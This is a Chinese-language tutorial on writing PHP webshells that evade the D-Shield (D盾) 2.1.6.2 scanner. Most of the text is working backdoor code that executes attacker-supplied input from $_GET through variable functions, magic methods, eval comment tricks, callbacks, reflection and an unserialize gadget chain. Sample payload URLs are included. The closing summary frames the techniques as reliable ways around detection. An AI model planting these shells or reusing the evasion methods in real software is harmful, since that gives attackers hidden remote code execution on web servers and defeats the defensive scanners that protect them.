webshell免杀的一点尝试—php5,php7(过d盾2.1.6.2-0105更新版)
字数 725 2025-08-29 08:31:35
PHP Webshell免杀技术详解 - 绕过D盾2.1.6.2检测
前言
本文详细分析PHP Webshell免杀技术,重点针对D盾2.1.6.2版本的检测机制。核心思路围绕eval和assert函数展开,通过多种技术手段实现绕过。
基础技术原理
1. 字符串函数与类结合
基本思路:利用字符串函数进行复杂拼接,实现可变函数调用
class A{
public function test($name){
$temp = substr($name,6);
$name = substr($name,0,6);
$name($temp);
}
}
$obj = new A();
$obj->test($_GET[1]);
Payload: shell.php?0=assertphpinfo();
2. 类与魔术方法
利用PHP类的魔术方法实现代码执行:
构造和析构方法
// 构造方法
class A{
private $name;
public function __construct($name) {
$this->name = $name;
$temp = substr($name,6);
$name = substr($name,0,6);
$name($temp);
}
}
$obj = new A($_GET[1]);
// 析构方法
class B{
private $name;
public function __construct($name) {
$this->name = $name;
}
public function __destruct() {
$temp = substr($this->name,6);
$name = substr($this->name,0,6);
$name($temp);
}
}
$obj = new B($_GET[1]);
Get和Set方法
// set方法
class Demo{
public function __set($name, $value) {
$temp = substr($name,6);
$name = substr($name,0,6);
$name($temp);
}
}
$obj = new Demo();
$obj->$_GET[1]='占位的';
// get方法
class Demo{
public function __get($name) {
$temp = substr($name,6);
$name = substr($name,0,6);
$name($temp);
}
}
$obj = new Demo();
echo $obj->$_GET[1];
其他魔术方法
// toString方法
class Demo {
private $name;
public function __construct($name) {
$this->name = $name;
}
public function __toString() {
$temp = substr($this->name,6);
$name = substr($this->name,0,6);
$name($temp);
return '占位';
}
}
$obj = new Demo($_GET[1]);
echo $obj;
// call方法
class Demo {
public function __call($name,$args) {
$name($args[0]);
}
}
$obj = new Demo();
$obj->$_GET[0]($_GET[1]);
// callStatic方法
class Demo{
public static function __callStatic($name, $arguments) {
$name($arguments[0]);
}
}
Demo::$_GET[0]($_GET[1]);
高级绕过技术
1. 代码结构与包含(PHP7可用)
使用try...catch...结构:
function say($name){
try{
$temp = substr($name,6);
$name = substr($name,0,6);
$name($temp);
}catch (Exception $e){
var_dump($e);
}
}
say($_GET[1]);
多层嵌套结构:
function say($name) {
for ($i = 0; $i < 1; $i++) {
foreach ([1] as $v){
try {
assert($name);
throw new Exception($name);
}catch (Exception $exception){
assert($exception->getMessage());
}
}
}
}
say($_GET[1]);
2. eval和assert特殊用法
eval变量解析特性(PHP5可用):
$a = $_GET[1];
$p = $_GET[2];
abd($a,$p);
function abd($a,$p){
eval('$a($p);');
}
注释混淆:
// 多行注释
function demo($name) {
eval("/*cesjoe*/" . $name." " );
}
demo($_GET[1]);
// 单行注释
function demo($name) {
eval("//\r\n" . $name." " );
}
demo($_GET[1]);
字符串拼接绕过:
function demo($name) {
eval("echo 123;" . $name."echo 456; " );
}
demo($_GET[1]);
3. 回调函数技术
// array_map
function Demo($b){
array_map(key($b), $b);
}
Demo($_GET);
// payload: shell.php?assert=phpinfo();
// array_filter
function temp($x,$y){
$g = array(1,2,3,4,5,$y);
array_filter($g,$x);
}
temp($_GET[1],$_GET[3]);
// payload: shell.php?1=assert&3=phpinfo();
4. 反射技术
class One {
var $b;
function action($name) {
$temp=$name[0];
$temp($name[1]);
}
}
$reflectionMethod = new ReflectionMethod('One', 'action');
echo $reflectionMethod->invoke(new One(), $_GET);
// payload: shell.php?0=assert&1=phpinfo();
5. 反序列化技术
class Basic{
public $name;
public $age;
public $args;
public function __wakeup() {
$tmp = $this->name.$this->age;
$this->name = new $tmp();
}
public function __destruct() {
$this->name->action($this->args);
}
}
class Process{
public function action($arg){
call_user_func($arg[0],$arg[1]);
}
}
unserialize($_GET[1]);
// payload: shell.php?1=O:5:"Basic":3:{s:4:"name";s:3:"Pro";s:3:"age";s:4:"cess";s:4:"args";a:2:{i:0;s:6:"assert";i:1;s:10:"phpinfo();";}}
核心绕过策略
- 多层包含:利用代码块结构(流程控制、类、函数、异常处理)进行多层嵌套
- 字符串处理:通过字符串函数增加分析难度,特别是变量同名覆盖
- 语法灵活性:利用PHP语法特性如可变函数、魔术方法等
- 代码混淆:通过注释、无用代码等干扰静态分析
注意事项
- PHP7中
assert变为语言构造器,不能直接作为可变函数使用 - 反射技术中,
ReflectionMethod比ReflectionFunction更隐蔽 - 反序列化方式虽然有效但代码较冗长
- 字符串拼接是简单有效的绕过方式
总结
通过多种技术组合,特别是多层嵌套和字符串处理,可以有效绕过D盾检测。关键在于理解检测机制的工作原理,并利用PHP语言的灵活性设计混淆方案。